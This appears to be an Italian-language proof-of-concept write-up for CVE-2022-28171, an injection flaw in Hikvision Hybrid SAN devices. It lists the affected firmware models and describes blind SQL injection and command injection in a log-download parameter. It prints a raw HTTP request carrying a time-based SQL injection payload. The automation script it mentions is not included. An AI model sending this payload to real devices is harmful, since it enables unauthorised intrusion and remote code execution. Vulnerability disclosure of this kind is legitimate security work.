
Exploit Python per CVE-2022-28171 che mira ai dispositivi Hikvision Hybrid SAN, automatizzando l'iniezione SQL cieca e l'iniezione di comandi per ottenere l'esecuzione remota di codice.
Ho pubblicato originariamente questo POC su ExploitDB, che puoi trovare su https://www.exploit-db.com/exploits/51607
# Date: 16 July 2023
# Exploit Author: Thurein Soe
# CVE : CVE-2022-28171
# Reference Link: https://cve.report/CVE-2022-28171
# Vulnerable Versions:
Ds-a71024 Firmware
Ds-a71024 Firmware
Ds-a71048r-cvs Firmware
Ds-a71048 Firmware
Ds-a71072r Firmware
Ds-a71072r Firmware
Ds-a72024 Firmware
Ds-a72024 Firmware
Ds-a72048r-cvs Firmware
Ds-a72072r Firmware
Ds-a80316s Firmware
Ds-a80624s Firmware
Ds-a81016s Firmware
Ds-a82024d Firmware
Ds-a71048r-cvs
Ds-a71024
Ds-a71048
Ds-a71072r
Ds-a80624s
Ds-a82024d
Ds-a80316s
Ds-a81016s
Hikvision è un produttore e fornitore di sistemi di videosorveglianza leader a livello mondiale, specializzato in apparecchiature per la videosorveglianza e per l'Internet delle cose (IoT), sia per uso civile che militare. Alcuni prodotti Hikvision Hybrid SAN erano vulnerabili a molteplici vulnerabilità di esecuzione di codice remoto, come command injection, Blind SQL injection, HTTP request smuggling e cross-site scripting riflesso. Ciò ha portato all'esecuzione di codice remoto, rendendo possibile eseguire comandi arbitrari del sistema operativo e altro.
Il test manuale ha confermato che il parametro "downloadtype" era vulnerabile a Blind SQL injection e Command Injection. Ho creato uno script Python per automatizzare ed enumerare le versioni di SQL, poiché l'applicazione era dietro il firewall e bloccava tutte le richieste di SQLmap.
Request Body:
GET /web/log/dynamic_log.php?target=makeMaintainLog&downloadtype='(select*from(select(sleep(10)))a)' HTTP/1.1
Host: X.X.X.X.12:2004
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Connection: close